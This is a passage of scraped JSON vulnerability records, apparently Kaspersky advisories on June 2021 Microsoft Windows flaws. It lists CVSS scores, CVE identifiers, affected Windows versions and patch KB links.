\n[5003667](<http://support.microsoft.com/kb/5003667>) \n[5003694](<http://support.microsoft.com/kb/5003694>) \n[5014742](<http://support.microsoft.com/kb/5014742>) \n[5014748](<http://support.microsoft.com/kb/5014748>) \n[5023755](<http://support.microsoft.com/kb/5023755>) \n[5023754](<http://support.microsoft.com/kb/5023754>) \n[5023759](<http://support.microsoft.com/kb/5023759>) \n[5023769](<http://support.microsoft.com/kb/5023769>)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-08T00:00:00", "type": "kaspersky", "title": "KLA12198 Multiple vulnerabilities in Microsoft Products (ESU)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-26414", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31953", "CVE-2021-31954", "CVE-2021-31956", "CVE-2021-31958", "CVE-2021-31959", "CVE-2021-31962", "CVE-2021-31968", "CVE-2021-31971", "CVE-2021-31973", "CVE-2021-33742"], "modified": "2023-03-20T00:00:00", "id": "KLA12198", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12198/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-21T08:24:09", "description": "### *Detect date*:\n06/08/2021\n\n### *Severity*:\nCritical\n\n### *Description*:\nMultiple vulnerabilities were found in Microsoft Windows. Malicious users can exploit these vulnerabilities to obtain sensitive information, execute arbitrary code, gain privileges, bypass security restrictions, cause denial of service.\n\n### *Exploitation*:\nMalware exists for this vulnerability. Usually such malware is classified as Exploit. [More details](<https://threats.kaspersky.com/en/class/Exploit/>).\n\n### *Affected products*:\nWindows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) \nWindows 10 for x64-based Systems \nWindows 10 Version 1809 for x64-based Systems \nWindows 8.1 for 32-bit systems \nWindows 10 Version 1809 for ARM64-based Systems \nWindows 10 Version 20H2 for ARM64-based Systems \nWindows 10 Version 1909 for ARM64-based Systems \nWindows 10 Version 20H2 for 32-bit Systems \nWindows Server, version 2004 (Server Core installation) \nWindows 10 Version 1607 for x64-based Systems \nWindows 10 Version 1909 for 32-bit Systems \nVP9 Video Extensions \nWindows 10 Version 2004 for x64-based Systems \nWindows Server 2019 (Server Core installation) \nWindows Server 2012 R2 (Server Core installation) \nWindows Server 2008 for x64-based Systems Service Pack 2 \nWindows 10 Version 21H1 for 32-bit Systems \nWindows 10 Version 1909 for x64-based Systems \nWindows 10 Version 21H1 for ARM64-based Systems \nWindows Server 2012 \nWindows 10 Version 21H1 for x64-based Systems \nWindows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) \nWindows Server 2012 (Server Core installation) \nWindows RT 8.1 \nWindows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) \nWindows 10 for 32-bit Systems \nWindows 7 for 32-bit Systems Service Pack 1 \nWindows Server 2019 \nWindows 10 Version 1607 for 32-bit Systems \nWindows Server 2016 \nWindows Server 2008 for 32-bit Systems Service Pack 2 \nWindows 10 Version 1809 for 32-bit Systems \nWindows 10 Version 20H2 for x64-based Systems \nWindows 10 Version 2004 for ARM64-based Systems \nWindows 10 Version 2004 for 32-bit Systems \nWindows Server 2012 R2 \nWindows Server 2016 (Server Core installation) \nWindows Server 2008 R2 for x64-based Systems Service Pack 1 \nWindows 7 for x64-based Systems Service Pack 1 \nWindows Server, version 20H2 (Server Core Installation) \nWindows 8.1 for x64-based systems\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2021-31975](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31975>) \n[CVE-2021-31967](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31967>) \n[CVE-2021-31973](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31973>) \n[CVE-2021-31972](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31972>) \n[CVE-2021-33742](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-33742>) \n[CVE-2021-31976](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31976>) \n[CVE-2021-31199](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31199>) \n[CVE-2021-31201](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31201>) \n[CVE-2021-31970](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31970>) \n[CVE-2021-33739](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-33739>) \n[CVE-2021-31971](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31971>) \n[CVE-2021-31951](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31951>) \n[CVE-2021-26414](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-26414>) \n[CVE-2021-31952](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31952>) \n[CVE-2021-31974](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31974>) \n[CVE-2021-31955](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31955>) \n[CVE-2021-31962](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31962>) \n[CVE-2021-31956](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31956>) \n[CVE-2021-31954](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31954>) \n[CVE-2021-1675](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-1675>) \n[CVE-2021-31953](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31953>) \n[CVE-2021-31960](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31960>) \n[CVE-2021-31968](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31968>) \n[CVE-2021-31958](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31958>) \n[CVE-2021-31959](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31959>) \n[CVE-2021-31969](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31969>) \n[CVE-2021-31977](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-31977>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Microsoft Windows](<https://threats.kaspersky.com/en/product/Microsoft-Windows/>)\n\n### *Microsoft official advisories*:\n\n\n### *KB list*:\n[5003636](<http://support.microsoft.com/kb/5003636>) \n[5003681](<http://support.microsoft.com/kb/5003681>) \n[5003637](<http://support.microsoft.com/kb/5003637>) \n[5003671](<http://support.microsoft.com/kb/5003671>) \n[5003696](<http://support.microsoft.com/kb/5003696>) \n[5003646](<http://support.microsoft.com/kb/5003646>) \n[5003638](<http://support.microsoft.com/kb/5003638>) \n[5003697](<http://support.microsoft.com/kb/5003697>) \n[5003635](<http://support.microsoft.com/kb/5003635>) \n[5003687](<http://support.microsoft.com/kb/5003687>) \n[5014738](<http://support.microsoft.com/kb/5014738>) \n[5014746](<http://support.microsoft.com/kb/5014746>) \n[5014701](<http://support.microsoft.com/kb/5014701>) \n[5023752](<http://support.microsoft.com/kb/5023752>) \n[5023764](<http://support.microsoft.com/kb/5023764>) \n[5023756](<http://support.microsoft.com/kb/5023756>) \n[5023765](<http://support.microsoft.com/kb/5023765>) \n[5023698](<http://support.microsoft.com/kb/5023698>) \n[5023702](<http://support.microsoft.com/kb/5023702>) \n[5023696](<http://support.microsoft.com/kb/5023696>) \n[5023697](<http://support.microsoft.com/kb/5023697>) \n[5023705](<http://support.microsoft.com/kb/5023705>) \n[5023787](<http://support.microsoft.com/kb/5023787>)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-08T00:00:00", "type": "kaspersky", "title": "KLA12202 Multiple vulnerabilities in